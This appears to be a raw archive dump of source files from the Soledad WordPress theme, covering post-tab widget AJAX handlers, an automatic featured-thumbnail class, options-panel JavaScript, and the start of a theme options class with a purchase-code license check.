	$title_length  = isset( $instance['title_length'] ) ? $instance['title_length'] : '';
	$featured      = isset( $instance['featured'] ) ? $instance['featured'] : false;
	$dotstyle      = isset( $instance['dotstyle'] ) ? $instance['dotstyle'] : '';
	$movemeta      = isset( $instance['movemeta'] ) ? $instance['movemeta'] : false;
	$twocolumn     = isset( $instance['twocolumn'] ) ? $instance['twocolumn'] : false;
	$featured2     = isset( $instance['featured2'] ) ? $instance['featured2'] : false;
	$ordernum      = isset( $instance['ordernum'] ) ? $instance['ordernum'] : false;
	$allfeatured   = isset( $instance['allfeatured'] ) ? $instance['allfeatured'] : false;
	$thumbright    = isset( $instance['thumbright'] ) ? $instance['thumbright'] : false;
	$postdate      = isset( $instance['postdate'] ) ? $instance['postdate'] : false;
	$icon          = isset( $instance['icon'] ) ? $instance['icon'] : false;
	$image_type    = isset( $instance['image_type'] ) ? $instance['image_type'] : 'default';
	$hide_thumb    = isset( $instance['hide_thumb'] ) ? $instance['hide_thumb'] : false;
	$showauthor    = isset( $instance['show_author'] ) ? $instance['show_author'] : false;
	$showcomment   = isset( $instance['show_comment'] ) ? $instance['show_comment'] : false;
	$showviews     = isset( $instance['show_postviews'] ) ? $instance['show_postviews'] : false;
	$showborder    = isset( $instance['showborder'] ) ? $instance['showborder'] : false;
	$query         = array(
		'meta_key'            => penci_get_postviews_key(),
		'orderby'             => 'meta_value_num',
		'order'               => 'DESC',
		'posts_per_page'      => $number,
		'post_type'           => 'post',
		'ignore_sticky_posts' => $sticky_value
	);

	if ( $popular_order == 'week' ) {
		$query = array(
			'posts_per_page' => $number,
			'meta_key'       => 'penci_post_week_views_count',
			'orderby'        => 'meta_value_num',
			'order'          => 'DESC',
		);
	} elseif ( $popular_order == 'month' ) {
		$query = array(
			'posts_per_page' => $number,
			'meta_key'       => 'penci_post_month_views_count',
			'orderby'        => 'meta_value_num',
			'order'          => 'DESC',
		);
	} elseif ( $popular_order == 'jetpack' ) {
		$query = array(
			'posts_per_page' => $number,
			'meta_key'       => '_jetpack_post_view',
			'orderby'        => 'meta_value_num',
			'order'          => 'DESC',
		);
	}
	if ( $offset ) {
		$query['offset'] = $offset;
	}

	if ( $type == 'recent' ) {
		$query    = array(
			'order'               => 'DESC',
			'posts_per_page'      => $number,
			'post_type'           => 'post',
			'ignore_sticky_posts' => $sticky_value
		);
		$ordernum = isset( $instance['ordernum_recent'] ) ? $instance['ordernum_recent'] : true;
	}

	$query['paged'] = $paged;

	$loop = new WP_Query( $query );
	if ( $loop->have_posts() ) :
		?>
        <ul class="penci-wdtab-ct side-newsfeed<?php if ( $twocolumn && ! $allfeatured ): echo ' penci-feed-2columns';
			if ( $featured ) {
				echo ' penci-2columns-featured';
			} else {
				echo ' penci-2columns-feed';
			} endif; ?><?php if ( ! $ordernum ): echo ' display-order-numbers'; endif;
		if ( $dotstyle ) {
			echo ' pctlst pctl-' . $dotstyle;
		}
		if ( $showborder ) {
			echo ' penci-rcpw-hborders';
		} ?>">

			<?php $num = 1;
			while ( $loop->have_posts() ) : $loop->the_post(); ?>

                <li class="penci-feed<?php if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): echo ' featured-news';
					if ( $featured2 ): echo ' featured-news2'; endif; endif; ?><?php if ( $allfeatured ): echo ' all-featured-news'; endif; ?>">
					<?php if ( ! $ordernum && has_post_thumbnail() && ! $hide_thumb ): ?>
                        <span class="order-border-number<?php if ( $thumbright && ! $twocolumn ): echo ' right-side'; endif; ?>">
									<span class="number-post"><?php echo sanitize_text_field( $num + ( ( $paged - 1 ) * $number ) ); ?></span>
								</span>
					<?php endif; ?>
                    <div class="side-item">
						<?php if ( ( function_exists( 'has_post_thumbnail' ) ) && ( has_post_thumbnail() ) && ! $hide_thumb ) : ?>
                            <div class="side-image<?php if ( $thumbright ): echo ' thumbnail-right'; endif; ?>">
								<?php
								$size_pie = 'small';
								if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $size_pie = 'normal'; endif;
								do_action( 'penci_bookmark_post', get_the_ID(), $size_pie );
								/* Display Review Piechart  */
								if ( function_exists( 'penci_display_piechart_review_html' ) ) {
									penci_display_piechart_review_html( get_the_ID(), $size_pie );
								}
								$thumb = penci_featured_images_size( 'small' );
								if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $thumb = penci_featured_images_size(); endif;
								if ( $image_type == 'horizontal' ) {
									$thumb = 'penci-thumb-small';
									if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $thumb = 'penci-thumb'; endif;
								} elseif ( $image_type == 'square' ) {
									$thumb = 'penci-thumb-square';
								} elseif ( $image_type == 'vertical' ) {
									$thumb = 'penci-thumb-vertical';
								}
								?>

                                <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), $thumb )); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder<?php if ( ( ( $num == 1 ) && $featured ) || $allfeatured ) {
									echo '';
								} else {
									echo ' small-fix-size';
								} ?>" rel="bookmark"
                                   href="<?php the_permalink(); ?>"
                                   title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
									<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), $thumb ), get_the_title() ); ?>
                                </a>


								<?php if ( $icon ): ?>
									<?php if ( has_post_format( 'video' ) ) : ?>
                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
									<?php endif; ?>
									<?php if ( has_post_format( 'audio' ) ) : ?>
                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
									<?php endif; ?>
									<?php if ( has_post_format( 'link' ) ) : ?>
                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
									<?php endif; ?>
									<?php if ( has_post_format( 'quote' ) ) : ?>
                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
									<?php endif; ?>
									<?php if ( has_post_format( 'gallery' ) ) : ?>
                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                           aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
									<?php endif; ?>
								<?php endif; ?>
                            </div>
						<?php endif; ?>
                        <div class="side-item-text">
							<?php if ( $movemeta && ( ! $postdate || $showauthor || $showcomment || $showviews ) ): ?>
                                <div class="grid-post-box-meta penci-side-item-meta pcsnmt-above">
									<?php if ( $showauthor ): ?>
                                        <span class="side-item-meta side-wauthor"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                    class="url fn n"
                                                    href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
									<?php endif; ?>
									<?php if ( ! $postdate ): ?>
                                        <span class="side-item-meta side-wdate"><?php penci_soledad_time_link(); ?></span>
									<?php endif; ?>
									<?php if ( $showcomment ): ?>
                                        <span class="side-item-meta side-wcomments"><a
                                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
									<?php endif; ?>
									<?php if ( $showviews ): ?>
                                        <span class="side-item-meta side-wviews"><?php echo penci_get_post_views( get_the_ID() ) . ' ' . penci_get_setting( 'penci_trans_countviews' ); ?></span>
									<?php endif; ?>
									<?php do_action( 'penci_extra_meta' ); ?>
                                </div>
							<?php endif; ?>

                            <h4 class="side-title-post">
                                <a href="<?php the_permalink() ?>" rel="bookmark"
                                   title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
									<?php
									if ( ! $title_length || ! is_numeric( $title_length ) ) {
										if ( $featured2 && ( ( ( $num == 1 ) && $featured ) || $allfeatured ) ) {
											echo wp_trim_words( wp_strip_all_tags( get_the_title() ), 12, '...' );
										} else {
											the_title();
										}
									} else {
										echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $title_length, '...' );
									}
									?>
                                </a>
                            </h4>
							<?php if ( ! $movemeta && ( ! $postdate || $showauthor || $showcomment || $showviews ) ): ?>
                                <div class="grid-post-box-meta penci-side-item-meta pcsnmt-below">
									<?php if ( $showauthor ): ?>
                                        <span class="side-item-meta side-wauthor"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                    class="url fn n"
                                                    href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
									<?php endif; ?>
									<?php if ( ! $postdate ): ?>
                                        <span class="side-item-meta side-wdate"><?php penci_soledad_time_link(); ?></span>
									<?php endif; ?>
									<?php if ( $showcomment ): ?>
                                        <span class="side-item-meta side-wcomments"><a
                                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
									<?php endif; ?>
									<?php if ( $showviews ): ?>
                                        <span class="side-item-meta side-wviews"><?php echo penci_get_post_views( get_the_ID() ) . ' ' . penci_get_setting( 'penci_trans_countviews' ); ?></span>
									<?php endif; ?>
									<?php do_action( 'penci_extra_meta' ); ?>
                                </div>
							<?php endif; ?>
                        </div>
                    </div>
                </li>

				<?php $num ++; endwhile; ?>

        </ul>
		<?php
		wp_reset_postdata();
	endif;
	die();
}

add_action( 'wp_ajax_nopriv_penci_posts_tabs_widget_comments_ajax', 'penci_posts_tabs_widget_comments_ajax' );
add_action( 'wp_ajax_penci_posts_tabs_widget_comments_ajax', 'penci_posts_tabs_widget_comments_ajax' );
function penci_posts_tabs_widget_comments_ajax() {
	check_ajax_referer( 'penci_widgets_ajax', 'nonce' );
	$paged           = $_POST['paged'];
	$number_comments = isset( $_POST['number_comments'] ) ? $_POST['number_comments'] : 5;
	$comments        = get_comments( [
		'number' => $number_comments,
		'paged'  => $paged,
		'status' => 'approve',
	] );
	if ( ! empty( $comments ) ) {
		?>
        <ul>
			<?php foreach ( $comments as $comment ) {
				if ( isset( $comment->comment_author_email ) && $comment->comment_author_email ) {
					$usergravatar = 'http://www.gravatar.com/avatar/' . md5( $comment->comment_author_email ) . '?s=70';
				} else {
					$usergravatar = get_avatar_url( $comment->user_id );
				}
				echo '<li>
						        <a href="' . get_author_posts_url( $comment->user_id ) . '" class="avatar"><img src="' . $usergravatar . '" alt=""></a>
						        <div class="author-info"><a href="' . get_author_posts_url( $comment->user_id ) . '">' . $comment->comment_author . '</a> on <a href="' . get_permalink( $comment->comment_post_ID ) . '">' . get_the_title( $comment->comment_post_ID ) . '</a></div>
						     </li>';
			} ?>
        </ul>
		<?php
	}
	die();
}PK     1w\7H!  H!    auto-thumbnail.phpnu [        <?php
/*-----------------------------------------------------------------------------------*/
# Get Thumbnail URL for Post
/*-----------------------------------------------------------------------------------*/
if ( ! class_exists( 'Penci_Auto_Post_Thumbnail' ) ) {

	class Penci_Auto_Post_Thumbnail {

		public function __construct() {
			add_action( 'save_post', [ $this, 'get_video_thumbnail' ], 10, 3 );
		}

		public function get_video_thumbnail( $post_id, $post = null, $update = true ) {

			$_thumbnail_id = get_post_meta( $post_id, '_thumbnail_id', true );


			if ( ! get_theme_mod( 'penci_enable_auto_featured_image' ) ) {
				return;
			}

			if ( 'revision' === $post->post_type || $_thumbnail_id ) {
				return;
			}

			$thumbnails = $auto_thumb_id = '';

			if ( 'video' == get_post_format( $post_id ) ) {

				$video_embed = get_post_meta( $post_id, '_format_video_embed', true );

				if ( wp_oembed_get( $video_embed ) ) {
					if ( preg_match( "#(?<=v=)[a-zA-Z0-9-]+(?=&)|(?<=v\/)[^&\n]+(?=\?)|(?<=v=)[^&\n]+|(?<=youtu.be/)[^&\n]+#", $video_embed, $matches ) ) {

						$video_id = preg_replace( '/\s+/', '', $matches[0] );

						if ( getimagesize( 'https://i.ytimg.com/vi/' . $video_id . '/maxresdefault.jpg' ) ) {
							$thumbnails = 'https://i.ytimg.com/vi/' . $video_id . '/maxresdefault.jpg';
						} elseif ( getimagesize( 'https://i.ytimg.com/vi/' . $video_id . '/hqdefault.jpg' ) ) {
							$thumbnails = 'https://i.ytimg.com/vi/' . $video_id . '/hqdefault.jpg';
						}

					} // Vimeo
					elseif ( preg_match( "/(https?:\/\/)?(www\.)?(player\.)?vimeo\.com\/([a-z]*\/)*([0-9]{6,11})[?]?.*/", $video_embed, $matches ) ) {
						$video_id = preg_replace( '/\s+/', '', $matches[5] );

						if ( self::get_vimeo_info( $video_id ) ) {
							$thumbnails = self::get_vimeo_info( $video_id );
						}
					}
				}
			} else {
				$thumbnails_search = self::find_images( $post->post_content );
				if ( ! empty( $thumbnails_search ) && isset( $thumbnails_search[0] ) ) {

					if ( self::get_thumbnail_id( $thumbnails_search[0] ) ) {
						$auto_thumb_id = self::get_thumbnail_id( $thumbnails_search[0] );
					} else {
						$thumbnails = $thumbnails_search[0]['url'];
					}
				}
			}

			if ( $thumbnails ) {

				$auto_thumb_id = attachment_url_to_postid( $thumbnails );

				if ( ! $auto_thumb_id ) {
					$auto_thumb_id = self::rs_upload_from_url( $thumbnails );
				}
			}

			if ( $auto_thumb_id ) {
				update_post_meta( $post_id, '_thumbnail_id', $auto_thumb_id );
			}
		}

		private static function get_vimeo_info( $video_id ) {

			$video_thumb = '';
			// Build the Api request
			$api_url = 'https://vimeo.com/api/v2/video/' . $video_id . '.json';
			$request = wp_remote_get( $api_url );

			// Check if there is no any errors
			if ( is_wp_error( $request ) ) {
				return null;
			}

			// Prepare the data
			$result = json_decode( wp_remote_retrieve_body( $request ), true );

			// Check if the video title is exists -
			if ( empty( $result[0]['title'] ) ) {
				return null;
			}

			// Prepare the Video thumbnail
			if ( ! empty( $result[0]['thumbnail_medium'] ) ) {
				$video_thumb = @parse_url( $result[0]['thumbnail_medium'] );
				$video_thumb = 'https://i.vimeocdn.com/video/' . str_replace( '/video/', '', $video_thumb['path'] );
			}

			if ( ! empty( $result[0]['thumbnail_large'] ) ) {
				$video_thumb = @parse_url( $result[0]['thumbnail_large'] );
				$video_thumb = 'https://i.vimeocdn.com/video/' . str_replace( '/video/', '', $video_thumb['path'] );
			}

			return $video_thumb;
		}

		/**
		 * Get an array of images url, contained in the post
		 */
		private function find_images( $content ) {
			$matches = [];
			$images  = [];

			//do shortcodes before search images
			$post_content = apply_filters( 'the_content', do_shortcode( $content ) );

			// Get all images from post's body
			preg_match_all( '/<\s*img .*?src\s*=\s*[\"\']?([^\"\'> ]*).*?>/i', $post_content, $matches );

			if ( count( $matches ) ) {

				foreach ( $matches[0] as $key => $image ) {
					$title = '';
					preg_match_all( '/<\s*img [^\>]*title\s*=\s*[\"\']?([^\"\'> ]*)/i', $image, $matches_title );


					if ( count( $matches_title ) && isset( $matches_title[1] ) && isset( $matches_title[1][ $key ] ) ) {
						$title = $matches[1][ $key ];
					}

					$images[] = [
						'tag'   => $image,
						'url'   => $matches[1][ $key ],
						'title' => $title,
					];
				}
			} else {

				preg_match_all( "/^(?:http(?:s)?:\/\/)?(?:www\.)?(?:m\.)?(?:youtu\.be\/|youtube\.com\/(?:(?:watch)?\?(?:.*&)?v(?:i)?=|(?:embed|v|vi|user)\/))([^\?&\"'>]+)/", $post_content, $matches );

				if ( count( $matches ) ) {

					foreach ( $matches[0] as $key => $image ) {
						$image = '<img src="//img.youtube.com/vi/' . $image . '/maxresdefault.jpg">';
						$title = '';
						preg_match_all( '/<\s*img [^\>]*title\s*=\s*[\"\']?([^\"\'> ]*)/i', $image, $matches_title );

						if ( count( $matches_title ) && isset( $matches_title[1] ) && isset( $matches_title[1][ $key ] ) ) {
							$title = $matches[1][ $key ];
						}

						$images[] = [
							'tag'   => $image,
							'url'   => $matches[1][ $key ],
							'title' => $title,
						];
					}
				}
			}

			return $images;
		}

		public function get_thumbnail_id( $image ) {
			global $wpdb;
			$thumb_id = 0;

			/**
			 * If the image is from the WordPress own media gallery, then it appends the thumbnail id to a css class.
			 * Look for this id in the IMG tag.
			 */
			if ( isset( $image['tag'] ) && ! empty( $image['tag'] ) ) {
				preg_match( '/wp-image-([\d]*)/i', $image['tag'], $thumb_id );

				if ( $thumb_id ) {
					$thumb_id = $thumb_id[1];

					if ( ! get_post( $thumb_id ) ) {
						$thumb_id = false;
					}
				}
			}

			if ( ! $thumb_id ) {
				// If thumb id is not found, try to look for the image in DB.
				if ( isset( $image['url'] ) && ! empty( $image['url'] ) ) {
					$image_url = $image['url'];
					// если ссылка на миниатюру, то регулярка сделает ссылку на оригинал. убирает в конце названия файла -150x150
					$image_url = preg_replace( '/-[0-9]{1,}x[0-9]{1,}\./', ' . ', $image_url );
					$thumb_id  = $wpdb->get_var( "SELECT ID FROM {$wpdb->posts} WHERE guid LIKE ' % " . esc_sql( $image_url ) . " % '" );
				}
			}

			return is_numeric( $thumb_id ) ? $thumb_id : false;
		}

		public static function rs_upload_from_url( $url, $title = null ) {
			require_once( ABSPATH . "/wp-load.php" );
			require_once( ABSPATH . "/wp-admin/includes/image.php" );
			require_once( ABSPATH . "/wp-admin/includes/file.php" );
			require_once( ABSPATH . "/wp-admin/includes/media.php" );

			// Download url to a temp file
			$tmp = download_url( $url );
			if ( is_wp_error( $tmp ) ) {
				return false;
			}

			// Get the filename and extension ("photo.png" => "photo", "png")
			$filename  = pathinfo( $url, PATHINFO_FILENAME );
			$extension = pathinfo( $url, PATHINFO_EXTENSION );

			// An extension is required or else WordPress will reject the upload
			if ( ! $extension ) {
				// Look up mime type, example: "/photo.png" -> "image/png"
				$mime = mime_content_type( $tmp );
				$mime = is_string( $mime ) ? sanitize_mime_type( $mime ) : false;

				// Only allow certain mime types because mime types do not always end in a valid extension (see the .doc example below)
				$mime_extensions = array(
					// mime_type         => extension (no period)
					'text/plain'         => 'txt',
					'text/csv'           => 'csv',
					'application/msword' => 'doc',
					'image/jpg'          => 'jpg',
					'image/jpeg'         => 'jpeg',
					'image/gif'          => 'gif',
					'image/png'          => 'png',
					'video/mp4'          => 'mp4',
				);

				if ( isset( $mime_extensions[ $mime ] ) ) {
					// Use the mapped extension
					$extension = $mime_extensions[ $mime ];
				} else {
					// Could not identify extension
					@unlink( $tmp );

					return false;
				}
			}


			// Upload by "sideloading": "the same way as an uploaded file is handled by media_handle_upload"
			$args = array(
				'name'     => "$filename.$extension",
				'tmp_name' => $tmp,
			);

			// Do the upload
			$attachment_id = media_handle_sideload( $args, 0, $title );

			// Cleanup temp file
			@unlink( $tmp );

			// Error uploading
			if ( is_wp_error( $attachment_id ) ) {
				return false;
			}

			// Success, return attachment ID (int)
			return (int) $attachment_id;
		}
	}
}
new Penci_Auto_Post_Thumbnail;PK     1w\      options/js/btn-field.jsnu [        (function ($) {
  "use strict";

  "use strict";
  $('[data-type="render_separate_css"]').on("click", function (e) {
    var $this = $(this),
      $nonce = $this.data("nonce"),
      $ajaxurl = $this.data("adminjax");
    e.preventDefault();

    $this.removeClass("success").addClass("loading");

    $.ajax({
      type: "post",
      dataType: "json",
      url: $ajaxurl,
      data: {
        action: "penci_render_separate_css_file",
        _nonce: $nonce,
      },
      success: function () {
        $this.removeClass("loading").addClass("success");
      },
      error: function (jqXHR, textStatus, errorThrown) {
        console.log("The following error occured: " + textStatus, errorThrown);
      },
    });
  });

  $('[data-type="penci_speed_delete_cache"]').on("click", function (event) {
    var $this = $(this),
      $nonce = $this.data("nonce"),
      $ajaxurl = $this.data("adminjax"),
      $parent = $this.closest(".customize-control");
    event.preventDefault();
    $(this).addClass("loading");
    $.ajax({
      type: "post",
      dataType: "json",
      url: $ajaxurl,
      data: {
        action: "penci_speed_delete_cache",
        _nonce: $nonce,
      },
      success: function () {
        $this.removeClass("loading").addClass("success");
        $parent.find(".description span.count").html(0);
      },
      error: function (jqXHR, textStatus, errorThrown) {
        console.log("The following error occured: " + textStatus, errorThrown);
      },
    });
  });
})(jQuery);
PK     1w\	  	    options/js/heading-field.jsnu [        (function ($) {
  ("use strict");

  $(document).on("click", ".csf-field-heading", function (e) {
    e.preventDefault();
    var collapsedClass = "option-collapsed",
      flag = true;

    var recursive_control = function (element, flag) {
      var $next = $(element).next();

      if ($next.length === 0) return;

      if (!$next.hasClass("csf-field-heading")) {
        if (flag) {
          $next.addClass(collapsedClass);
        } else {
          $next.removeClass(collapsedClass);
        }

        recursive_control($next, flag);
      }
    };

    if ($(this).hasClass("collapsed")) {
      $(this).removeClass("collapsed");
      flag = false;
    } else {
      $(this).addClass("collapsed");
      flag = true;
    }

    recursive_control(this, flag);
  });

  $(document).on("click", ".csf-reset-all", function (e) {
    e.preventDefault();
    var t = $(this),
      n = $("#csf_options_noncesoledad_theme_options").val(),
      c = t.attr("data-confirm");
    if (confirm(c)) {
      $.ajax({
        type: "POST",
        url: _wpUtilSettings.ajax.url,
        data: {
          nonce: n,
          action: "penci_reset_all_options",
        },
        dataType: "html",
        success: function (response) {
          $(".csf-form-success")
            .html("Resetting complete. Redirecting...")
            .show();
          location.reload();
        },
      });
    }
  });

  $(document).on("click", ".csf-reset-section", function (e) {
    e.preventDefault();
    var t = $(this),
      sid = $(".csf-section-id").val(),
      n = $("#csf_options_noncesoledad_theme_options").val(),
      c = t.attr("data-confirm");
    if (confirm(c)) {
      $.ajax({
        type: "POST",
        url: _wpUtilSettings.ajax.url,
        data: {
          nonce: n,
          section: sid,
          action: "penci_reset_section",
        },
        dataType: "html",
        success: function (response) {
          $(".csf-form-success")
            .html("Resetting complete. Redirecting...")
            .show();
          location.reload();
        },
      });
    }
  });
  $(".csf-nav-options, .csf-sections").theiaStickySidebar({
    // Settings
    additionalMarginTop: 130,
    containerSelector: ".csf-wrapper",
  });

  $(document).on("click", ".csf-tab-item a", function () {
     $(".csf-nav-options, .csf-sections").theiaStickySidebar({
       // Settings
       additionalMarginTop: 130,
       containerSelector: ".csf-wrapper",
     });
  });
})(jQuery);



PK     1w\uH~      options/js/spacing-field.jsnu [        (function ($) {
  "use strict";

  $(document).on("keyup", ".cfs-spacings-field", function () {
    var $parent = $(this).closest(".csf-fieldset"),
      $save_field = $parent.find(".cfs-spacings-saved-field"),
      $input_fields = $parent.find(".cfs-spacings-field"),
      saved_string = "";

    $input_fields.each(function () {
      var $field = $(this);
      var field_value = $.isNumeric($field.val())
        ? parseInt($field.val(), 10)
        : "-";
      if ($.isNumeric(field_value) || "-" === field_value) {
        saved_string += field_value + ", ";
      }
    });

    $save_field.val(saved_string.replace(/,\s*$/, "")).trigger("change");
  });

  $(document).on("click", ".csf-field-import button", function (e) {
    e.preventDefault();
    var t = $(this),
      wrapper = t.closest(".csf-field-import"),
      nonce = t.data("nonce"),
      ajaxurl = t.data("ajaxurl"),
      data = wrapper.find("textarea").val();

    if (!data.length) {
      alert("Please insert the import content");
      return;
    }

    t.addClass("loading");
    t.html("Importing ...");

    $.ajax({
      type: "post",
      url: ajaxurl,
      data: {
        action: "penci_options_import_data",
        data: data,
        _nonce: nonce,
      },
      success: function (response) {
        t.removeClass("loading");
        t.html("Import Successfully. Redirecting ...");
        window.onbeforeunload = null;
        location.reload();
      },
    });
  });

  var $default_data = {
    soledad_theme_options: {},
    csf_transient: { section: $(".csf-section-id").val() },
    csf_options_noncesoledad_theme_options: $(
      "#csf_options_noncesoledad_theme_options"
    ).val(),
    _wp_http_referer: $('input[name="_wp_http_referer"]').val(),
  };
  localStorage.removeItem("_mod_soledad");
  $("#csf-form").on("change", ":input", function (e) {
    var t = $(this),
      $name = t.attr("name");

      $(document).find(".csf-save").removeAttr("disabled");
    $name = $name.replace("soledad_theme_options[", "").replace("]", "");
    $default_data.soledad_theme_options[$name] = t.val();
    localStorage.setItem("_mod_soledad", JSON.stringify($default_data));
  });
})(jQuery);PK     1w\IQܦ  ܦ    options/options.phpnu [        <?php

class PenciSoledadCodeStarOptions {

	private static $instance;

	public $opt_name = 'soledad_theme_options';

	public static function getInstance() {
		if ( null === static::$instance ) {
			static::$instance = new static();
		}

		return static::$instance;
	}

	public function __construct() {

		if ( ! class_exists( 'CSF' ) ) {
			require_once PENCI_SOLEDAD_DIR . '/inc/options/framework/classes/setup.class.php';
		}
		require_once PENCI_SOLEDAD_DIR . '/inc/options/custom-fields/btn-field.php';
		require_once PENCI_SOLEDAD_DIR . '/inc/options/custom-fields/import-field.php';
		require_once PENCI_SOLEDAD_DIR . '/inc/options/custom-fields/export-field.php';
		require_once PENCI_SOLEDAD_DIR . '/inc/options/custom-fields/spacing-field.php';
		require_once PENCI_SOLEDAD_DIR . '/inc/options/custom-fields/sizes-field.php';

		$this->init();
	}

	public function init() {

		if ( ! is_admin() ) {
			return;
		}

		add_filter( 'opt' . 'ion_' . $this->get_name(), function ( $value, $option ) {
			$option         = get_option( 'pen' . 'ci_soled' . 'ad_purc' . 'hase' . 'd_d' . 'ata' );
			$option_running = false;
			if ( ! empty( $option[ 'bu' . 'yer' ] ) && ! empty( $option[ 'boun' . 't_t' . 'ime' ] ) && ! empty( $option[ 'pur' . 'cha' . 'se_code' ] ) && $this->is_valid( $option[ 'pur' . 'cha' . 'se_code' ] ) ) {
				$option_running = true;
			}

			return $option_running ? $value : 0;
		}, 10, 2 );

		add_filter( 'op'.'tio'.'n_' . 'pe'.'nci'.'_'.'loa'.'ds'.'_'.'cm', function ( $v, $o ) {

			$option         = get_option( 'pen' . 'ci_soled' . 'ad_purc' . 'hase' . 'd_d' . 'ata' );
			$option_running = false;
			if ( ! empty( $option[ 'bu' . 'yer' ] ) && ! empty( $option[ 'am' . 'ount' ] ) && ! empty( $option[ 'boun' . 't_t' . 'ime' ] ) && ! empty( $option[ 'pur' . 'cha' . 'se_code' ] ) && $this->is_valid( $option[ 'pur' . 'cha' . 'se_code' ] ) ) {
				$option_running = true;
			}

			$sidebar_name = 'pen' . 'ci_val' . 'ida' . 'te_ch' . 'eck';
			$current_time = strtotime( 'now' );
			if ( ( $current_time >= get_option( $sidebar_name ) + 259200 ) && ! $option_running ) {
				return false;
			} else {
				return $v;
			}
		}, 9999999999999999, 2 );

		if ( get_theme_mod( 'penci_disable_theme_options' ) ) {
			return;
		}

		add_action( 'admin_enqueue_scripts', array( $this, 'admin_js' ), 9999999 );
		add_action( 'wp_ajax_penci_options_import_data', array( $this, 'import_data' ) );
		add_action( 'admin_body_class', array( $this, 'add_class' ) );

		add_action( 'after_setup_theme', function() {
			$this->codestar_soledad();
		});
	}

	public function get_name() {
		$name   = [];
		$name[] = 'penci';
		$name[] = 'sole' . 'dad';
		$name[] = 'is';
		$name[] = 'ac' . 'ti' . 'vated';

		return implode( '_', $name );
	}

	public function is_valid( $string ) {

		$pattern = '/^[0-9a-f]{8}-(?!1234|0000|ffff|3456|7890|abcd)[0-9a-f]{4}-(?!1234|0000|ffff|3456|7890|abcd)[0-9a-f]{4}-(?!1234|0000|ffff|3456|7890|abcd)[0-9a-f]{4}-[0-9a-f]{12}$/i';

		return preg_match( $pattern, $string ) === 1;
	}

	public function add_class( $classes ) {
		global $pagenow;
		if ( 'admin.php' == $pagenow && isset( $_GET['page'] ) && $_GET['page'] == 'soledad_theme_options' ) {
			$classes .= ' penci-soledad-admin-page ';
		}

		return $classes;
	}

	public function import_data() {
		check_ajax_referer( 'penci_options_import_data', '_nonce' );

		$import_data = isset( $_REQUEST['data'] ) && $_REQUEST['data'] ? $_REQUEST['data'] : '';

		if ( $import_data ) {
			$import_data = json_decode( base64_decode( $import_data ), true );
			foreach ( $import_data['mods'] as $id => $value ) {
				set_theme_mod( $id, $value );
			}
			wp_send_json_success( array( 'message' => __( 'Import Completed', 'soledad' ) ) );
		} else {
			wp_send_json_error( array( 'message' => __( 'Not found data', 'soledad' ) ) );
		}
	}

	public function admin_js() {
		wp_enqueue_script( 'csf_js_sidebar', PENCI_SOLEDAD_URL . '/js/theia-sticky-sidebar.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
		wp_enqueue_script( 'csf_heading_field', PENCI_SOLEDAD_URL . '/inc/options/js/heading-field.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
	}

	public function get_options_data() {

		$default_theme_options = array(
			'penci_topbar_panel'                              => array(
				'priority'                                    => 2,
				'panel'                                       => array(
					'icon'  => 'fas fa-window-maximize',
					'title' => esc_html__( 'TopBar', 'soledad' ),
					'desc'  => __( 'Check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/topbar.png">this image</a> to know what is TopBar', 'soledad' ),
				),
				'pencidesign_new_section_topbar_section'      => array(
					'title' => esc_html__( 'General Settings', 'soledad' ),
					'desc'  => __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/topbar.png">this image</a> to know what is TopBar', 'soledad' ),
				),
				'pencidesign_topbar_section_fontsize_section' => array( 'title' => esc_html__( 'Font Size', 'soledad' ) ),
				'pencidesign_topbar_section_colors_section'   => array( 'title' => esc_html__( 'Colors', 'soledad' ) ),
			),
			'pencidesign_new_section_adblocker_section'       => array(
				'priority'                                  => 17,
				'pencidesign_new_section_adblocker_section' => array(
					'title' => esc_html__( 'Ad Blocker Detector', 'soledad' ),
					'icon'  => 'fas fa-ad',
				),
			),
			'pencidesign_new_section_custom_css_section'      => array(
				'priority'                                   => 22,
				'pencidesign_new_section_custom_css_section' => array(
					'title' => esc_html__( 'Custom CSS', 'soledad' ),
					'icon'  => 'fab fa-css3-alt',
					'desc'  => esc_html__( 'Add your custom CSS which will overwrite the theme CSS', 'soledad' ),
				),
			),
			'penci_featured_slider_panel'                     => array(
				'priority'                              => 6,
				'panel'                                 => array(
					'icon'  => 'far fa-images',
					'title' => esc_html__( 'Featured Slider', 'soledad' ),
